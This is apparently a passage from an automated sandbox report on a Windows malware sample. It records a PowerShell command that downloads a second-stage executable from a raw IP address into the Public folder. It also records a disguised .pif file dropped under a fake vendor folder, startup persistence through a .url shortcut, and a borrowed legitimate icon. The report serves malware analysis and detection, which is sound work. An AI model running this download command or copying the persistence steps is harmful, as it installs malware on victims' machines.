Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: RMBOriPHVJ.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: RMBOriPHVJ.exeStatic file information: File size 1083904 > 1048576
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: RMBOriPHVJ.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: RMBOriPHVJ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: RMBOriPHVJ.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: RMBOriPHVJ.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: RMBOriPHVJ.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: RMBOriPHVJ.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: RMBOriPHVJ.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

barindex
Suspicious powershell command line found
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/hUrTgQM" -OutFile "C:\Users\Public\Guard.exe""Jump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C0D0F8 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,0_2_00007FF787C0D0F8
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA78FD push rdi; ret 0_2_00007FF787BA7904
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA7399 push rdi; ret 0_2_00007FF787BA73A2
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CEEAC2 push es; retf 6_2_00CEEB6A
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CA6BCC push ebp; retf 0000h6_2_00CA6BE6
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CEEB6F push es; retf 6_2_00CEEB72
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CEEB6B push es; retf 6_2_00CEEB6E
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC8B75 push ecx; ret 6_2_00CC8B88
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBF1DF push ebp; iretd 6_2_00CBF1E1
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBF1D3 push ebp; iretd 6_2_00CBF1DD
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBF1F3 push esi; iretd 6_2_00CBF1F5
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBD28C push ss; iretd 6_2_00CBD29A
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CBD24A push ss; iretd 6_2_00CBD252
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00968B75 push ecx; ret 11_2_00968B88

Persistence and Installation Behavior

barindex
Drops PE files with a suspicious file extension
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file

Boot Survival

barindex
Drops PE files to the user root directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.urlJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.urlJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Source: initial sampleIcon embedded in binary file: icon matches a legit application icon: download (132).png
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B94514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00007FF787B94514
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D259B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,6_2_00D259B3
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CB5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,6_2_00CB5EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009C59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,11_2_009C59B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_00955EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,11_2_00955EDA
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_00CC33B7
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
